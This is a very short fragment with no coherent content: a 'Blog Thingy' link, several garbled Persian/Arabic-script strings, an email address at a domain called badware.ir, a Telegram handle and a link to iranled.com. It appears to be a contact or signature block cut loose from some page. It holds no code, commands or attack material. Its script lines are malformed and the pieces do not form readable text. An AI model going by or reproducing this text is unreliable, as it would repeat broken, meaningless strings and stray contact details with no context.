 Blog Thingy (https://sizzop.github.io)والاگ  -

 

 

 64 لاؿتل  

 نلیطضل زگیا 

legilimency@badware.ir 

Telegram.me/moonshaker 

http://iranled.com 
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